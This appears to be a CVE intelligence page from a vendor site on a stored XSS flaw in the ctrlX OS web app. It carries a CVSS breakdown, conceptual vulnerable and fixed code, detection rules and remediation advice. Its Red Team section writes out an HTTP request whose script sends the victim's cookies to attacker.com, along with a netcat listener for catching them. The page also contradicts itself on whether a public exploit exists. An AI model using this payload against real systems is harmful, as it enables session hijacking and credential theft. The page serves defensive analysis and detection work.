☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-24338

CVE-2025-24338 Cross-Site Scripting in Ctrlx
📅 PUBLISHED: 2025-04-30 10:51 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24338 is a stored cross-site scripting (XSS) vulnerability in the “Manages app data” functionality of the ctrlX OS web application. A remote authenticated attacker with low privileges can inject arbitrary client-side code via multiple crafted HTTP requests. When another user (including a higher-privileged user) accesses the affected functionality, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or further lateral movement within the ctrlX environment. The CVSS score is 7.1 (High), and no public exploit or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a low-privileged account.
  • User Interaction (UI): Required (R) – Victim must visit the malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full access to victim’s session data.
  • Integrity (I): High (H) – Attacker can modify data in the victim’s session.
  • Availability (A): Low (L) – Minor impact on availability.

Threat Level: High. The attack is easy to execute once authenticated, and the impact on confidentiality and integrity is severe.

Deep Dive & Mechanics

The vulnerability resides in the “Manages app data” endpoint of the ctrlX OS web application. This endpoint is used to store and retrieve application-specific data. The application fails to properly sanitize user-supplied input before storing it in the backend. When a victim user (e.g., an administrator) navigates to the page that renders this stored data, the malicious script is executed in their browser.

Attack Flow:

  1. Attacker authenticates with low-privileged credentials.
  2. Attacker sends a crafted HTTP POST request to the “Manages app data” endpoint with a payload like <script>alert('XSS')</script>.
  3. The server stores the payload without sanitization.
  4. Victim (e.g., admin) visits the same page.
  5. The stored payload is rendered and executed in the victim’s browser.
  6. Attacker can now steal cookies, perform actions on behalf of the victim, or exfiltrate data.

Root Cause: Lack of output encoding and input validation on the “Manages app data” functionality.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// Server-side endpoint (Node.js/Express example)
app.post('/api/appdata', (req, res) => {
  const data = req.body.data;
  // No sanitization
  db.save(data);
  res.send('OK');
});

app.get('/api/appdata', (req, res) => {
  const data = db.load();
  // Renders raw data into HTML without encoding
  res.send(`<div>${data}</div>`);
});

Patched Code (Conceptual):

// Server-side endpoint (Node.js/Express example)
const sanitizeHtml = require('sanitize-html');

app.post('/api/appdata', (req, res) => {
  const data = sanitizeHtml(req.body.data, {
    allowedTags: [],
    allowedAttributes: {}
  });
  db.save(data);
  res.send('OK');
});

app.get('/api/appdata', (req, res) => {
  const data = db.load();
  // Output encoding
  res.send(`<div>${escapeHtml(data)}</div>`);
});

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Low-privileged account on ctrlX OS.
  • Network access to the web application.

Exploit Steps:

  1. Log in to the ctrlX web app with low-privileged credentials.
  2. Intercept the request to the “Manages app data” endpoint (e.g., using Burp Suite).
  3. Craft a malicious payload:
    POST /api/appdata HTTP/1.1
    Host: ctrlx.local
    Cookie: session=lowprivsession
    Content-Type: application/json
    
    {"data": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"}
    
  4. Send the request.
  5. Wait for an admin user to visit the affected page.
  6. Receive the stolen cookie at your attacker-controlled server.

Lab Setup:

  • Use a virtual machine running ctrlX OS (if available) or a similar web application.
  • Set up a simple HTTP server to capture exfiltrated data: nc -lvnp 80.

Blue Team

Detection Steps:

  1. Monitor for unusual POST requests to /api/appdata containing script tags or event handlers.
  2. Check server logs for repeated requests from the same low-privileged user to the same endpoint.
  3. Use a web application firewall (WAF) to block common XSS patterns.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/api/appdata" method=POST
| rex field=uri_query "data=(?<payload>.*)"
| where match(payload, "<script|onerror|onload|javascript:")
| table _time, src_ip, user, payload

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /api/appdata with suspicious payloads (e.g., <script>, onerror, javascript:).
    • Outbound connections to unknown IPs on port 80/443 from the ctrlX server.
  • Host IOCs:
    • Unexpected entries in the application database containing HTML/JavaScript.
    • Modified or new files in the web root directory (e.g., /var/www/html/).
  • Log IOCs:
    • Repeated 200 responses to /api/appdata from the same low-privileged user.
    • Error logs showing failed sanitization attempts.

Detection Engineering

YARA Rule

rule CVE_2025_24338_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting ctrlX OS app data endpoint"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-24338"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "onfocus=" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-24338 XSS Attempt on ctrlX OS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in POST requests to the app data endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/appdata'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in app data (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24338 XSS Payload in POST to /api/appdata"; flow:to_server,established; content:"POST"; http_method; content:"/api/appdata"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the “Manages app data” functionality if not critical for operations.
  2. Implement input validation – Reject any data containing HTML tags or JavaScript event handlers.
  3. Apply output encoding – Use context-aware encoding (e.g., HTML entity encoding) when rendering stored data.
  4. Use Content Security Policy (CSP) – Restrict script execution to trusted sources.

Long-Term Fix:

  • Wait for the vendor to release a patch. Monitor the ctrlX OS security advisory page.
  • Upgrade to the patched version once available.

Workaround:

  • Deploy a WAF rule to block common XSS patterns in POST requests to /api/appdata.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

ctrlX OS
ctrlX web app

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24338/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.